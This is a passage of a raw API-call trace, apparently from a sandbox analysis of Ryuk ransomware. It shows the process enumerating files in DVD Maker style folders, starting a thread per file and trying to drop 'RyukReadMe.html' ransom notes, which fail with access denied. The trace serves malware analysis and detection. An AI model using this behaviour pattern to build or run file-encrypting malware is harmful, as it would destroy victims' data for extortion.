	[0229.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd08
	[0229.719] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.720] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0229.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20
	[0229.722] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.723] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0229.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd10
	[0229.726] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.726] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0229.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0c
	[0229.729] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.730] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x76, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1
	[0229.730] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14
	[0229.732] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.732] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x76, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1
	[0229.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c
	[0229.735] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.735] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x76, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0
	[0229.735] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0229.857] SetLastError (dwErrCode=0x0) 
	[0229.857] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.865] GetLastError () returned 0x5
	[0229.866] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0229.866] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.866] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd54
	[0229.868] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.869] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18
	[0229.871] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.871] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.871] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce0
	[0229.873] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.873] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc
	[0229.875] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.876] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd30
	[0229.877] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.878] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd2c
	[0229.880] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.880] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.880] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28
	[0229.882] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.883] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd34
	[0229.887] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.887] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24
	[0229.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.890] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0229.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0229.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd3c
	[0230.004] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.004] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0230.005] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c
	[0230.006] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.007] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1
	[0230.007] SetLastError (dwErrCode=0x0) 
	[0230.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.007] GetLastError () returned 0x5
	[0230.007] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0230.008] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0230.011] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0230.011] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0230.011] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80
	[0230.013] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.013] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0230.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84
	[0230.015] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.016] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x76, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1
	[0230.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd88
	[0230.018] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.019] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x76, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1
	[0230.019] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c
	[0230.021] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.022] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.022] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90
	[0230.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.025] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94
	[0230.027] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
